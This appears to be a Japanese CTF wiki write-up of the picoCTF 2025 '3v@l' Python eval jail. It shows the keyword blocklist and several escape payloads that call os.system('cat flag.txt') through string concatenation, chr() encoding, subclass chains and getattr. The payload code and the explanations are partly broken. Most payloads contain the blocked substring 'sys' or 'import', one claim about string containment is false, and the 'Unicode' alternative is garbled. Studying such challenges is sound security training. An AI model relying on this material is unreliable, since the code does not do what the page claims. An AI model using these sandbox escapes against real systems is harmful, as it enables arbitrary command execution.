pyjail wiki

picoCTF 2025 - 3v@l

Challenge

基本的な eval pyjail。

BLOCKED = ['import', 'exec', 'eval', 'open', 'os', 'sys', 'read', 'write']
code = input(">>> ")
for word in BLOCKED:
if word in code.lower():
print("Nice try!")
exit()
try:
result = eval(code)
print(result)
except:
print("Error!")

Solution

基本的なバイパス

# 文字列結合
__builtins__.__dict__['__imp' + 'ort__']('o' + 's').system('cat flag.txt')

chr() による構築

# 'import' = chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)
getattr(__builtins__, chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)).system('cat flag.txt')

サブクラスチェーン

# 典型的なペイロード
[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in str(c)][0].__init__.__globals__['system']('cat flag.txt')

Technical Details

ブラックリストの弱点

# 大文字小文字変換後にチェック
'IMPORT'.lower() == 'import' # True
# しかし 'import' は検出されない
# 部分文字列チェック
'__import__' in '__imp' + 'ort__' # False (実行時には True)

picoCTF の特徴

  • 教育目的のCTF
  • 段階的な難易度
  • ヒントが提供される場合あり

Alternative Solutions

別解1: getattr チェーン

getattr(getattr(__builtins__, '__imp'+'ort__')('o'+'s'), 'sys'+'tem')('cat flag.txt')

別解2: Unicode

eval # eval として動作

別解3: hex エスケープ

__builtins__.__dict__['\x5f\x5fimport\x5f\x5f']

Flag

picoCTF{...}

References